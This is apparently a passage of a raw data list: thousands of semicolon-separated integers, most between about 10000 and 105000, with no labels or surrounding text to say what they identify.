0454;49288;21077;11181;11793;41029;20339;25344;104998;74287;77685;11524;28291;81248;10761;103855;10644;104434;57766;45404;63067;59426;42147;14288;97638;53337;51529;96907;67244;30213;82079;64378;51958;93376;30205;84579;19252;34373;10208;69332;62010;51170;103375;52583;69048;15908;62695;78678;35371;22004;87825;10510;58427;17766;100810;33257;51178;92364;17838;27523;29727;20969;36087;20347;97639;20161;94642;19426;59497;31859;71950;11692;18259;90359;83743;25350;104857;59735;95823;64377;61436;48353;17322;25442;69399;38830;51121;22230;49659;91163;85126;31794;11537;10136;71427;100382;97086;100124;100059;64669;55818;99290;101305;86325;38828;73057;53332;51528;52672;71466;58076;17311;91428;10137;69078;87592;18185;91815;46329;103867;60047;1337011;71347;45553;53334;56738;42150;15480;34992;25169;60138;88021;10833;70369;17733;83363;11143;66426;19428;17241;23924;11880;66413;76771;65742;11305;18417;24322;52044;54644;13641;51510;58953;81785;32375;17973;90001;17720;103668;23964;66497;70198;65887;51975;52716;52993;85380;46198;50987;11402;85407;90600;102920;93718;34237;22365;59040;19766;65767;19784;52768;86067;45399;42799;31993;38850;78555;21081;45379;11240;18156;56378;103970;11575;42443;87218;69987;61528;53896;14805;20109;66407;93866;100756;104573;11654;11997;103647;19692;88418;61463;11258;71050;87762;16199;83518;97577;69803;104358;30149;102273;51462;33140;12002;79859;73340;78086;65791;63266;84878;73022;82820;63523;51095;61462;74223;85267;104104;17303;46197;42818;49016;42960;13655;66326;89725;87476;52974;52502;96046;73690;48944;74510;23973;62358;48374;35273;38761;95768;46844;87680;19194;70768;84237;26196;89108;90603;93122;70070;10954;30108;24871;69871;63349;17220;66698;10550;93787;95876;87538;47749;32504;63353;84363;52535;24333;87949;10097;77304;90432;39328;20015;45360;25552;88052;76496;17364;10807;90796;23787;84804;11021;24709;79247;103964;62819;77477;19599;77529;86577;10783;23969;69099;14847;57877;90316;59376;42801;48317;47897;17805;33577;51906;97144;90249;81260;66374;100617;55608;48244;10200;38988;95391;76284;69283;42149;64243;70661;15614;45084;34218;88488;82567;83470;82780;22899;62033;84727;1337030;17832;20950;39790;29310;91826;43390;91231;20952;25163;71441;100157;11277;11125;68880;103699;73302;97742;84823;73461;62710;82824;66444;53620;87505;25021;91344;69307;82799;50434;68992;14305;73624;18022;103383;19236;70290;17800;18194;101930;11629;14279;56668;72035;44331;15570;10542;64684;73121;11430;80890;102781;10744;103877;35648;22076;11650;11544;100064;10731;25221;11246;81408;76969;53856;66755;55759;56057;24690;19365;20176;45514;103866;81777;20835;62564;65051;10882;78387;69076;72709;70941;10127;78766;96799;25573;12076;62042;63561;60154;40493;93786;67246;64830;31346;19760;17724;59568;93228;50861;97085;51956;57574;42305;104891;19415;87876;76620;48987;11213;46193;59410;104544;77633;86472;59500;71567;10532;15851;78438;42871;74368;10111;93483;11938;92017;18436;65721;103220;26924;60096;77155;55671;22094;11380;85908;86900;82774;64706;11086;12046;17595;42353;88908;57804;55906;29722;200035;12116;95770;58398;19552;72104;16059;73306;49144;24814;11163;11636;66986;32134;76618;81127;82898;104742;62736;57538;12111;78065;23838;49272;19589;64568;79665;72882;14665;1337025;95539;94676;101898;81497;46803;103980;79745;19949;11754;61576;83872;51938;33546;93865;27526;103974;32136;57280;80948;20241;10526;84054;76577;79437;17291;91634;81783;72201;26970;93802;76763;99234;55568;99033;200018;25824;57945;76533;80484;80483;17756;85332;71077;35906;16276;66201;10863;57751;90440;20005;59043;90444;73640;89666;29218;34993;103977;33943;55122;35251;64937;31345;10966;31606;17783;102268;74015;81020;103532;10823;43181;11874;94898;35777;21237;83519;72686;104786;99931;10394;10573;59330;76216;91825;39329;69837;58573;49704;33950;70473;42933;99131;25252;57847;11657;59848;61993;33488;43860;89753;59861;87676;86481;35690;70076;79836;57946;22306;11989;23734;76528;85911;74325;78598;85324;88699;11447;11045;102978;24741;17585;81780;48982;94386;95811;78826;18360;69853;11247;76120;25292;46819;66409;1337018;101814;18429;64835;102199;62927;56066;81579;102783;72175;77117;100462;99281;95438;10226;33108;19217;62984;47700;82040;79834;104350;100174;88717;86576;87257;45065;90680;11608;72601;77376;11535;14249;48275;18220;76594;10719;91759;95026;72338;77176;29307;24747;67227;70856;52769;35322;45577;59275;70588;71265;55669;50575;20843;38199;74108;10345;12258;21555;56485;26926;34219;25823;53381;35717;83771;23834;78596;16260;10149;18490;86912;35070;97552;25933;15542;55930;97496;51359;43111;78699;79129;10558;12270;71519;21757;11065;31659;11298;72668;55535;31737;81384;80282;93109;95479;40406;46843;99521;69476;94914;21230;42831;69077;17812;72714;10176;57576;93657;83952;40823;17841;73372;66408;200041;31705;10671;53569;77120;18363;70878;87880;10905;88416;24341;72434;69428;73459;10368;57473;62117;90023;92844;14325;73896;40620;47779;46865;82296;11698;71176;99730;77170;17227;28373;19776;10378;10796;18431;93939;15588;99516;71882;49015;49775;83416;53331;74428;17780;11140;54954;42191;39794;63300;73298;62941;19594;84156;56564;71807;77369;24710;60043;66849;19765;28377;15703;17605;55131;78623;35710;11174;77408;71886;59453;44119;38977;83782;18100;85883;51909;14184;100060;45390;55886;66807;86328;67005;11763;85743;46740;59904;45477;104353;43351;70662;86372;87011;24683;65929;33867;72171;55288;77709;11872;50971;90266;76056;12232;96830;57876;89834;29999;91603;58449;90194;31135;86402;80831;10014;76127;59311;15408;22926;20345;84809;10350;31462;64707;71154;85745;15788;51972;97385;49173;55574;81744;14826;10907;59798;70123;73376;72345;61575;18570;14715;83876;62460;70330;63354;77829;62743;11725;34402;46241;62479;77910;14317;61577;104460;54843;17777;104663;39007;10574;72831;22466;10648;96532;74125;11638;12037;10055;77636;76786;57765;69239;69481;91125;57558;35556;24261;35454;86548;11178;55800;56872;30131;84742;14822;58793;77182;94582;19299;32398;96392;56449;16261;60120;16154;11359;42304;62045;17755;78030;51873;84060;62183;15463;78032;1337231;17202;29897;72770;61659;10662;52977;10391;99248;40801;24873;25570;65986;19303;30200;89867;77279;44117;85806;38978;65909;73161;31646;88050;94381;55572;73124;18672;88022;85886;94048;38849;66762;50695;66844;10172;44873;60044;97942;35630;77116;101167;76572;65692;77246;101049;53513;18250;65580;46194;93716;15773;70493;19750;11023;10493;85242;25548;96957;66763;102682;34348;25082;45512;64724;65873;22031;64814;83366;11005;58751;11782;11157;42057;62938;51166;58538;10563;10474;21142;62821;18526;69037;71538;70176;72963;15940;72724;70022;22271;11241;24739;86886;83468;84216;23777;81269;51511;200033;48953;33169;104549;52767;69802;35473;14786;65219;72710;67216;67143;10323;90193;24698;61996;12124;100634;71145;10859;19943;60111;11947;17774;10771;25159;11032;51957;12641;72339;57708;50694;29852;72779;57573;10490;70101;11676;73093;79580;49004;24905;79835;77760;11570;11868;35090;101813;70099;100028;29743;77983;92429;38207;73948;69923;25710;43400;26068;26065;87849;90508;104813;100103;73835;11969;67175;100123;88988;19377;73805;14178;94330;14188;59091;91458;97141;39314;11457;69788;43862;94200;44392;94673;17763;65902;39343;70926;59505;10520;48340;52456;10163;94405;91349;56450;76369;66843;71440;94638;15583;48274;11272;78742;70140;46753;11127;10717;53842;10921;86849;23837;33103;200016;22316;70411;47860;93191;15719;85599;102858;15464;11238;20171;15543;104574;11734;59172;11747;55884;76968;69328;11690;10488;77969;23652;10855;76867;62043;84150;48974;51675;103979;20837;58185;26002;81577;71966;17661;96628;77988;11504;79743;16058;66294;20867;90251;11824;88931;31681;34693;38152;97387;23809;83295;65127;44046;91346;20092;92034;63146;70854;87211;46202;31793;57287;55819;10766;103926;53576;33482;11249;83054;19997;92516;45439;34729;10095;11483;62991;25201;21146;22022;63686;44337;34169;17773;104411;11397;22413;11096;50431;10801;18224;51425;45625;104626;51352;91814;79420;91045;78749;96533;48216;65687;95879;24278;76258;11532;49710;19522;24748;104640;24282;77161;73224;10166;36149;62205;47709;70851;11113;12071;35786;200013;21325;63326;86575;81438;18207;99477;21144;92012;83765;13639;44330;49776;21582;58000;10784;66517;72862;10610;73567;65218;20179;82663;35071;45048;105005;15963;56042;65930;51139;48963;96624;11154;12234;48967;15712;95721;101087;103054;77968;45508;20924;69952;49147;10380;93227;11052;14631;58988;52016;34110;10505;14707;48989;66233;69541;103421;57033;73970;18134;34364;11304;33394;63689;64263;74323;66909;34819;66424;82504;62964;48980;50322;44342;104553;57414;11837;91097;18479;73946;70317;70351;14292;81669;85692;11047;10452;92424;31421;70731;60082;100809;17828;33947;70314;82529;93108;11806;70743;100163;11273;33880;16180;34994;42892;92359;91784;27620;11296;77963;77537;62462;22902;17142;10951;17987;14180;93776;49960;45005;49702;62799;45592;17797;104044;52533;80330;15531;63683;69515;55134;96960;59907;20863;11572;14806;104656;90793;12269;10485;71968;19605;63476;11400;99930;15951;91426;20178;96832;24232;69056;49024;70415;11361;49005;56121;103966;81439;11512;67176;70979;73526;30054;38734;76765;29313;19500;20344;103127;74252;94054;101816;82825;11056;90922;66672;60116;33563;50304;76579;19556;12207;57793;42822;18567;20252;18370;40824;100159;12102;78597;15554;42369;92376;21771;103936;71773;69494;18364;72985;46856;10198;90684;100806;69914;56195;24284;64473;30185;77276;10537;66238;103193;103134;59056;90894;102778;23927;21041;56980;23639;18175;94164;11746;73824;93960;70124;65052;55048;10130;49956;59089;67126;99906;47830;76361;57289;31786;33927;42442;22072;40799;11955;35706;26193;56124;83034;99595;86124;46693;100763;55798;11924;46732;64704;11160;44319;100180;91716;72433;103529;40664;66700;73771;47696;94632;26928;90859;72211;77535;96874;101521;80357;38794;11261;87678;101369;92558;89030;13648;11171;15704;11467;10188;51366;92438;101166;73432;72105;77986;18670;11423;97140;86324;88982;16326;94366;64819;86480;63333;91856;10682;85217;18477;11280;59716;64935;42411;44872;63620;100719;94400;34490;58335;43064;10196;84667;85536;104628;11470;15643;105044;88562;26062;31653;35288;86821;14193;56164;50686;99172;10472;84232;48245;103511;200024;20728;62373;62758;73413;84877;101527;89038;15858;11367;17750;95922;85661;53532;10653;19775;81205;73473;81263;34123;10943;10945;59180;76253;17819;73597;92420;66519;73832;71144;66842;79802;62416;21662;11980;48986;79719;16265;63687;59794;81511;45432;24011;83741;46675;53409;10605;71970;22496;52610;102780;39538;49110;65720;94250;10093;63150;50343;86710;11038;25369;95824;19376;61574;57571;86995;83474;51894;73479;64818;87600;17631;87679;55628;17221;32032;97992;100166;11444;56040;26917;15720;15625;67173;33256;21082;52530;22511;97417;104351;12288;95813;51895;90787;21336;84731;58320;10967;69102;23929;26015;11371;63149;10647;21337;95826;84801;60086;89678;104391;16139;64584;64878;49031;11533;33874;96045;100995;56998;24264;40333;90924;11252;69479;87882;10227;22477;91013;11999;40663;79828;10810;52653;81651;46221;64847;72102;11996;103702;33484;54604;73331;49709;10169;52992;11893;59527;78441;13840;200006;56873;71432;76531;10126;87244;80863;23819;93000;104894;77556;55702;10949;69401;10036;21739;14732;73945;56454;72672;56058;69916;93475;48979;25798;73500;49695;21745;10754;99235;44344;10125;48203;42290;73079;17584;11104;42118;77750;25202;40557;21692;10096;42982;74265;40448;11662;82901;25546;59329;18049;94050;29926;62701;10190;64712;18368;70729;31853;66394;17770;21764;17817;72835;19940;101159;102425;82712;70977;23800;11225;99312;70334;34399;93816;86065;65768;94469;17289;65885;15398;90599;27854;85411;103747;31130;24742;84734;97947;11758;21189;23840;87657;92822;86422;11373;81973;69040;72982;34448;90445;53490;70719;70078;25117;12057;55128;10683;82502;66699;32195;100381;27521;25993;30105;22921;39348;10491;78603;68904;50002;10767;95390;12063;64620;94393;96769;23624;66293;40354;35554;89031;45022;69919;42437;80962;11549;10146;11653;57472;66237;49648;83813;59108;58905;21558;17610;74188;20908;12245;55790;81003;64991;93661;60099;16193;69828;99247;36163;10159;83875;93662;72283;10830;88651;17341;33483;17586;46867;78508;34420;21187;29995;12033;11321;15478;34245;11465;33946;18636;23821;71322;10016;87599;11640;104812;49148;18291;96877;40862;87896;81210;72860;81814;59912;38914;66423;49996;95927;92947;103783;11386;11437;38664;70784;69042;48264;45515;81786;15939;63099;81596;69304;30020;56453;31041;27525;56996;10552;11262;94401;49712;21164;56385;69921;69554;59820;102992;12118;25568;66216;20747;70963;43615;14787;100257;51773;11740;40827;10018;89028;93193;62291;73823;70532;57959;18208;27586;21607;44074;20995;51851;83521;79271;49049;85629;49674;63468;10831;91946;85628;24283;70565;70853;72703;16226;69514;55623;100058;73617;24016;100767;18027;12285;59660;11974;83768;79724;77704;64577;80476;87323;64833;57275;33168;86885;10003;60140;10797;10596;101267;73754;97388;23645;73828;90797;102132;101110;10270;57712;71533;97225;33445;42106;93245;76406;101063;21566;22077;62391;49006;29346;73967;69334;15789;10141;64686;56242;83812;70339;89058;12119;103132;92000;101027;20987;80886;61719;66327;72705;56681;61396;20755;14359;100842;76346;22481;42117;87989;90706;35634;19525;70858;51812;83766;97227;62901;17837;28185;29697;69845;74327;81817;99374;78625;58649;80491;11237;31789;56211;83347;12049;71840;15820;69852;10325;45061;84808;70141;14585;56333;100782;1337024;66328;69261;57035;10592;72215;84821;97575;14294;20255;81981;77684;57396;17301;94900;59245;76073;26017;84241;16044;17224;20094;76710;79128;18218;21772;70857;42329;11285;18114;11438;14379;65704;73742;23731;70773;71246;69301;25897;57794;48990;69370;38649;70025;66373;25444;64572;84806;77115;33125;104410;21083;65703;64459;31038;62044;11145;36019;22534;43404;96725;10067;76131;67018;18293;56316;99907;17240;66945;31043;81380;26063;66878;69421;72981;64486;38648;58656;58727;81600;73865;11915;19554;56045;104572;92464;81818;38926;76463;72485;104670;55444;11642;81047;62026;71864;94963;11807;25219;42425;18689;86698;38791;11871;43875;92458;35704;31626;87944;20221;56175;84215;96723;86573;22180;10514;100159;11167;84570;21312;33945;69425;20248;11393;17715;24244;20168;42823;33925;24672;15782;64094;49174;104385;72646;18585;64725;48293;1337017;77163;50612;51891;11002;76114;25758;72038;25682;19254;57363;19309;90791;30152;22371;31790;29219;69079;23775;83524;81701;76881;1337008;78628;96875;11110;11233;20748;51890;63148;10568;64569;46337;79833;34394;59458;76390;38735;90119;18416;45021;65789;63205;70589;58433;11620;61716;31649;100184;70217;87926;20091;25950;49711;63268;81647;94641;62353;95662;60117;73403;67200;45436;83116;59555;18118;16455;57848;14286;79742;79359;40556;94962;55542;10103;71845;101839;69517;101050;92412;19501;60109;92024;200023;39795;24679;11215;76202;14269;57602;14841;100323;10652;18203;76972;10504;61562;34401;73966;99264;64532;20068;18540;51913;48908;63156;65210;102094;20927;90539;105025;70560;101529;14586;11935;11948;92462;31117;76460;100838;72428;85329;58290;21018;64633;82704;62312;64816;35403;66636;59037;34694;42479;83357;59247;84581;10852;35610;71324;16140;70562;23934;85802;35620;39446;85182;80522;101523;51645;76874;52586;101232;95878;57620;16138;74431;74362;10273;51341;73386;10603;63157;51974;77114;11229;72780;88414;22411;66023;29830;27527;64836;81580;16330;21629;12125;62638;47761;90428;70216;100103;101900;97893;59210;48997;79800;77864;43159;10074;102960;78480;55472;103745;78445;100721;81423;10007;86018;26965;10620;87656;16478;49039;84587;14186;81107;39590;11984;54627;49070;72726;58293;17781;86059;55796;78028;79140;56690;87410;101205;94378;1337230;70682;28331;19233;55734;80102;100101;56877;70319;12052;48981;11890;91827;10506;92219;84572;62892;35450;95921;39536;62464;69129;20184;10667;48276;92816;58008;21562;24345;66805;101161;48966;91126;64631;91002;59239;23650;66872;104042;38832;101160;14316;50677;49690;65097;25820;62902;91623;71430;18268;17239;10154;29345;94382;81145;48993;77113;73572;42368;53572;103669;17163;33486;99983;18523;66421;14636;11775;72608;19588;31348;25488;81781;69178;60022;97735;70976;48435;102731;23842;62777;49951;17593;90201;100356;34242;17342;51461;33900;53209;66350;11633;22465;94371;94392;21610;99280;55046;59454;33273;10449;23998;80358;100179;71884;11295;65942;96726;18618;70920;52052;83729;84058;15829;47804;42350;91343;100200;62560;91731;11194;10534;81788;53288;51859;22875;46848;70092;57459;78626;41958;100804;53473;11355;91123;51343;11714;93378;90435;39471;94364;65884;25352;16093;48761;69015;83818;63074;93469;91963;10479;22922;11689;48947;25421;20880;26019;89874;11983;66481;10396;18613;59191;10145;44942;19783;38653;68905;104275;99027;57484;26024;22540;12200;31730;62463;79233;103252;62027;63065;76115;25215;87736;93076;72588;62903;71924;15983;17760;47128;10349;33227;72741;83263;34393;73770;11364;18621;53491;73482;24913;27041;17728;11651;69557;91996;34161;10523;92554;1337010;91455;97661;104550;80889;71262;27507;104389;74286;48960;63000;15626;57607;47045;86369;72508;93402;42931;17302;87210;58990;60018;97732;77473;71883;20111;17731;30021;19512;71977;70895;73669;35807;33479;45433;20130;83767;80864;11621;66717;93380;35700;49017;25760;40421;90002;11222;25994;10777;87012;100571;101838;21243;93233;65723;21644;33446;85626;20093;45138;73517;22017;17597;28293;25694;15439;50525;99512;48263;70629;73834;44914;61535;105045;99266;31407;80997;19719;15465;64670;50846;10836;50495;10094;67021;104559;87817;33276;99104;87209;59409;11291;62356;24669;32396;64877;50544;93738;55787;44077;77690;55124;36141;55385;18265;63224;67142;70472;41607;21573;10891;35629;102363;36150;43029;39448;50350;32124;77540;18008;49963;19751;102782;24759;14258;66870;40616;26064;71885;68928;72936;53596;91339;88716;101396;17793;50430;76193;11505;31415;68981;76281;21632;83300;88646;11723;11886;55765;55447;65130;70494;69184;90829;17213;84059;50529;69831;11230;59641;103870;59365;48763;42351;10017;59042;92968;99472;52546;56754;10100;72939;90355;78655;12280;73383;59909;11888;60024;69950;11555;76203;61459;76943;77907;72372;57579;18614;92040;11923;59852;20014;13635;73962;14224;84728;12237;86019;35705;11835;15778;48254;10252;93481;103648;82996;24680;14261;17695;74267;82772;10471;11013;89679;47151;87955;79581;44064;58434;47750;57040;66915;14824;73983;66992;50540;62999;93051;11365;79831;57889;39355;53258;82581;95951;104356;72928;25217;77374;12227;90860;23814;19753;25901;103379;99928;94383;57049;84672;17761;27818;10421;34120;15470;101086;104554;22510;21140;56455;19778;70453;36143;34050;66841;54629;55569;11067;93124;12113;20008;17762;34294;90998;86825;84155;10651;19680;51841;57861;49260;77025;90546;91672;64784;65209;92541;94934;36183;14223;40562;97192;24240;23698;83951;45624;79721;10457;40796;76490;25953;72330;17988;73736;87918;10656;102262;100846;47717;12015;101047;58833;11539;24733;76123;51165;101111;102860;61435;70143;11877;56693;10809;20065;62593;25990;59455;21685;62566;64893;52609;77028;19706;13640;76532;99519;20010;82771;11014;11624;61515;10870;55474;35402;92522;66035;96487;71153;55130;62201;80335;53621;17574;69956;51455;84470;10835;52024;69271;79668;83187;73825;64894;20368;10910;48759;58230;79252;35618;14229;36034;57333;23931;16225;102203;70169;101304;60025;83296;71947;30208;47126;19306;60080;65879;15864;39482;11582;78029;15640;93127;97325;57795;86418;45511;10467;71433;11724;103700;18536;20824;103535;72583;55593;45059;18251;52978;31787;99592;70335;42426;73289;18041;96959;80078;46733;11743;66721;91128;24321;71774;21686;11952;56712;95256;12006;95470;57598;12226;72458;49023;56855;103509;95260;11126;11779;10940;86826;34405;22075;77220;17199;81606;81916;66867;62185;11072;10536;52963;101044;56666;39341;82585;90890;71438;10289;10428;11450;22528;49708;88809;10364;11454;25904;23785;81270;14346;58529;94380;50347;43861;73826;104174;58571;78472;20006;88840;86856;84671;20250;88841;86572;29187;103223;47139;17245;68982;94232;39806;85850;33550;66349;23822;79599;11484;48339;70213;46212;41060;10688;94334;77574;46236;11319;87597;61429;99515;72459;11266;93521;25703;86105;15834;50504;42211;34727;34056;76347;51999;51091;30151;85737;32374;60016;45356;97860;77634;25553;32321;10116;59088;56090;39450;87775;69346;88990;58274;10626;58088;78738;25883;87673;29924;17803;88577;103113;69179;87879;39372;80477;48951;11012;80226;104852;90437;58323;95287;57948;36020;58579;21684;84920;21338;70178;10480;55285;62124;94363;61532;11455;30150;11124;71175;63206;11693;66544;82075;81734;70292;92368;70027;86426;81106;94611;71213;52671;12203;19515;104561;94399;66862;11193;54988;72833;43067;34338;23825;60015;65894;46180;56070;48972;64578;81082;92045;53879;99369;83117;84400;24260;17690;17603;100187;59327;38973;91261;59785;20378;10357;69920;86246;40907;91263;73212;87875;94670;79856;40618;43004;93375;34334;69558;94196;73027;65913;62890;87728;35726;85266;11396;55116;12080;14306;24681;34335;60085;11516;28334;72604;10973;69322;72932;11753;90765;10466;22160;85582;82591;17295;52547;84287;76776;92723;20745;91598;104384;69801;11053;26920;74470;11389;10608;15771;76455;17200;39492;78388;84490;25171;85880;91713;100258;10075;21224;62992;29894;57947;22529;50386;82589;47140;14793;18188;51872;31650;17155;83489;78739;90006;11797;40667;83528;82574;49777;10663;82025;17596;64717;57803;66418;22447;94163;15721;50307;78918;24323;10028;29742;62369;65948;21145;49055;97858;87877;14228;78913;92840;69480;11187;52659;94760;90356;56483;49675;76913;86997;40931;63642;69268;20933;17662;70416;11026;63098;72690;102036;58904;18619;89779;33549;56955;82705;16281;32080;62064;66445;35453;101163;11128;59834;39420;45380;70068;20842;100057;56283;87601;56064;51988;103876;11099;102500;50676;78825;94672;76403;26070;31644;69036;93844;69058;31727;103676;14241;90709;51369;11607;104787;84432;71772;10948;81822;70173;35075;10861;80121;34815;58515;72905;57470;57752;50602;34268;93899;44332;56648;84364;59255;90436;33278;10117;50344;94955;18627;36083;87110;21655;82429;69237;80101;10927;81378;15714;18248;21223;47037;10916;104571;20866;84960;46701;53574;48955;40422;55553;10363;92824;66270;19754;22497;34396;91427;10511;99133;16324;89111;10850;73761;57799;11354;17833;45046;32395;12042;104048;11939;11912;72707;69427;93650;89032;23634;97948;65910;100424;84738;78912;11990;93123;89689;69441;64851;66317;100164;72664;12202;21229;35224;94017;40613;11701;103377;82709;104659;76578;100165;11449;42212;100993;57921;10343;64454;21015;14364;38687;10262;81980;48999;92494;34742;70342;15709;63622;69834;59657;94051;14838;15855;99762;25800;73686;100062;11655;58769;18569;57603;62242;78745;77575;104856;57608;20225;85181;66412;96452;33476;31657;93561;72176;66335;72179;99728;88589;55049;78394;73136;14784;35029;15781;84638;64701;76122;73683;11784;16315;24332;21017;56469;32381;58134;52455;73082;72216;10638;42349;17244;23643;10722;11738;21236;24817;66389;58399;99314;20804;39468;69273;76942;59367;66360;20388;10459;94578;39463;68959;40466;40592;76402;73639;24000;14324;33396;104892;101366;89788;46239;73759;96003;38652;57028;12023;10743;63682;90682;56876;16275;25492;17814;51463;78080;11123;73187;56300;85877;49977;18222;48969;12074;102264;11940;50988;25247;38694;16282;80228;21744;101299;21174;25199;85652;101896;65053;36151;63245;20223;80035;51976;104893;59819;84022;69044;50433;62622;62458;11831;97998;10811;59757;79864;29802;22311;81181;69075;10347;45437;25291;29799;82572;73226;96982;36018;53392;25172;100157;72043;16208;11198;63204;58181;61527;55806;1337226;57290;11008;71524;72391;50325;100222;59790;53333;76464;69447;66417;71643;72730;97940;70617;87503;19405;72744;19749;47123;72881;94370;11557;56055;18150;39344;33444;19590;12233;83140;19998;10431;23910;84741;58484;35558;53545;33397;28182;34459;35976;104815;51923;64533;19600;50601;80856;101548;10615;82664;11661;64644;10143;11619;11001;18484;12120;11028;12085;92460;25116;90512;18492;76111;85124;74119;90835;20349;59462;55652;40800;70096;61432;79578;11511;15486;15828;17775;10202;40947;35370;74158;67260;85219;88719;11461;15520;93474;86469;58005;57605;89691;95657;74140;85896;25168;87260;39622;90713;20985;90098;103922;56059;94375;71218;43174;96958;90510;21628;59726;77604;25761;17362;24262;51939;77168;24340;74221;78066;32505;78746;11812;10808;17743;35805;94009;91011;11606;57980;71616;11075;33789;19513;80523;62906;104274;17801;41947;13645;20974;59643;70971;61645;80908;42832;71459;12248;72090;59317;100175;78386;24271;93226;46172;92410;86209;69098;11907;76166;42410;10012;64380;62637;88639;69275;90427;63230;51903;23784;11446;10026;65941;57619;10433;56123;79249;79421;81179;23999;84918;58659;76869;66926;21597;92023;70626;62519;47800;48984;26968;15707;81545;22003;36127;92495;14338;24279;85884;12297;11092;66970;22257;42054;16320;103864;45110;38866;64838;10664;104638;45513;20088;72140;79666;10346;33869;19587;16476;100551;35914;34680;65931;84242;10358;64990;35628;95882;48958;23733;31408;12027;87917;57950;70212;29724;31728;59078;62583;62747;58348;58570;44943;83139;20382;91991;11020;21339;31191;31119;78479;81522;62076;40820;82665;62372;25683;20394;72169;80965;100178;70765;61531;81736;61536;67231;40771;97990;83440;48957;31641;11821;77686;11418;84737;31856;91007;33875;11226;73732;17607;65915;53573;84234;39537;97834;11223;76938;70746;20300;14639;22305;1337090;19715;102862;11111;92627;84153;88489;20012;17637;70730;90149;66361;20904;102585;34820;100155;56928;25671;89106;80496;26071;11416;97945;95767;26922;20285;58593;80334;11593;70496;77329;14192;92626;44871;16363;49959;19944;80524;62438;88808;58965;10501;11255;69838;84501;94398;18183;21643;102274;83032;15564;19269;71520;93110;32311;99593;41000;72559;10298;68927;100160;200021;11173;74235;60093;18430;26185;81884;77326;84568;76764;87240;12034;70846;60021;11866;88102;101843;38695;47125;10139;99476;10165;72334;57042;94388;11920;100188;33225;47711;25295;10470;89673;82852;70623;76872;19393;55786;54986;29832;48292;43089;19521;21323;40806;18263;20210;72037;25837;87878;93476;23756;102364;66037;11330;96146;72671;87819;90351;13845;35351;40351;11196;51186;89105;64790;96630;76110;76774;40450;70884;62008;11528;93815;103533;87125;73830;49217;42255;81782;46224;93401;36184;66864;18024;14377;20811;30110;78776;38879;59373;18299;10359;82472;51174;57974;93529;33275;90431;42291;23750;100994;10528;50512;45516;103963;24740;102200;49035;39535;71461;53373;73518;102037;100172;91962;18184;71462;71434;18292;77166;71053;100619;87893;73480;95480;44644;36045;96270;56392;82854;69424;11401;70564;19400;97736;73758;22185;21186;17836;86191;79440;76992;18038;100156;1337229;50650;10263;104433;87325;63066;40549;77964;24780;100847;104352;74241;89780;11318;86674;96627;12216;94369;48316;22056;32315;10969;59370;49089;92701;11448;40927;36148;53450;69081;20957;23811;100300;39587;11141;11899;59358;97667;69020;25489;11732;86544;11531;11462;94635;18602;10586;18174;10153;46817;18640;89681;72606;46738;10579;64824;63301;35082;68958;49793;14371;100131;77745;42824;27857;25759;58747;57710;86603;64097;11497;72388;1337232;69482;86574;102361;18165;46225;16387;90774;48945;90438;94759;101025;86951;35619;72512;15457;20959;11852;15787;18402;34311;15935;26913;74220;58401;102358;33129;97386;59449;18586;86600;11463;62465;69263;1337022;21783;69325;17998;62308;10309;12293;40875;24236;17813;77377;87674;39347;84019;21241;93400;64715;10507;55803;11292;15975;83055;74439;56043;47106;11077;45121;91596;26914;93007;11259;70170;84288;11117;15987;16060;72344;81516;20004;93377;46017;42371;65882;16063;10361;20887;49211;103873;78691;58514;62046;11094;12255;76940;61449;10985;41608;69827;88528;91337;21213;17741;59209;44941;92360;94046;59504;26059;81186;56049;20148;14699;81316;11819;88934;46766;24245;100126;80555;78773;81169;14597;99687;15514;25218;44421;76791;39364;44316;92660;83742;43164;71572;77421;89114;93592;57919;91388;35281;21698;18000;15984;50087;15617;87371;33107;85386;22901;59041;80917;43006;31854;103133;10440;56452;25368;11080;49072;74025;58652;94197;73378;10703;95769;86661;92016;19308;48214;50530;89693;92465;86125;10747;20226;86317;10915;71843;11138;50069;72962;91916;46181;20893;43401;104177;18007;11192;50976;62689;11451;88596;42256;31682;57559;42895;14230;72025;18247;45552;66240;79083;84569;10971;10844;19601;69335;21016;50349;81650;69402;71096;65055;18016;89940;40548;78506;90889;11156;31342;11645;88933;19302;53297;78390;16232;18482;72618;76512;10387;52054;87598;91546;62737;11765;63201;16192;35588;21572;66527;30153;50574;18601;93383;11895;62119;39519;16094;45020;97996;18690;46332;81821;12091;46882;17796;56753;71219;79125;42340;73225;10308;96766;16161;10069;24263;22318;11595;51173;91130;76534;69176;73981;66784;11385;86316;53847;76588;22533;99288;79217;93075;67004;45392;76475;56979;10562;78078;25569;29993;42370;10321;58848;10121;103115;27536;69789;18047;62976;64837;71049;11815;62099;18117;64815;84549;22029;101979;56407;33548;89939;17272;93608;64260;93562;73208;20909;70585;102915;104896;31858;17290;49032;24277;56823;11748;15750;58899;1337028;73190;69306;19524;20906;88991;71787;56023;40772;50542;50859;10492;20090;19419;81671;32312;91515;55831;87848;57915;64502;44413;18565;34325;62468;10659;66963;45431;34195;95720;51840;70950;10871;47748;85844;70471;11170;104973;55552;26911;17225;80567;72183;14197;58106;62891;94576;21222;12016;55443;80359;70806;82569;10324;14350;17824;17218;100996;88653;92791;63562;10661;35649;80960;42337;81604;73332;84365;83744;11641;42980;60033;48976;86633;18295;49069;10031;86193;47158;58811;62942;21675;70949;80079;35730;71157;69316;88965;100193;18659;20303;45502;17999;56244;66764;56824;59958;11750;70067;29725;95920;14825;49220;77171;56995;63426;36132;12127;82822;11766;95924;104050;49957;105007;10162;84795;11422;70447;20301;64437;79839;14613;95766;25036;70135;54953;11509;21729;77746;86251;22298;21778;15760;70888;49961;80306;55448;63166;69864;42896;95027;72837;90591;40871;61598;64994;20001;10674;61488;24246;101895;19774;10329;20061;58205;89676;10443;99513;89037;72713;92427;83362;21141;41014;18357;29982;93197;11366;22233;12263;73964;40825;90712;87870;101372;102265;50303;11112;10986;10469;40662;25689;81377;94437;21626;100550;72369;15717;74120;78768;32433;70915;94252;20958;43068;10639;11791;40619;84049;26927;42843;19300;10078;92361;72929;11670;99986;35076;64294;103253;40407;88645;76964;44069;10295;14196;94106;72371;25490;78439;77860;77665;31660;80479;66482;17974;34432;58907;50413;11757;49948;11751;39588;15401;11717;21782;10340;81488;59684;89116;103504;73137;103512;56051;10422;62704;65916;11334;101899;67141;15397;24816;11584;89054;69924;104145;82080;104555;38717;12219;11081;31349;76772;200011;104632;55905;64245;41062;66268;69948;67127;81437;11500;103305;20372;53859;16332;10367;16000;11203;85662;14243;82498;20317;31050;57890;17256;51926;73292;73206;39449;89675;45111;10417;24265;73611;81553;10618;94053;73894;66995;80457;39006;45593;11118;11857;95392;92820;87326;96663;20813;8669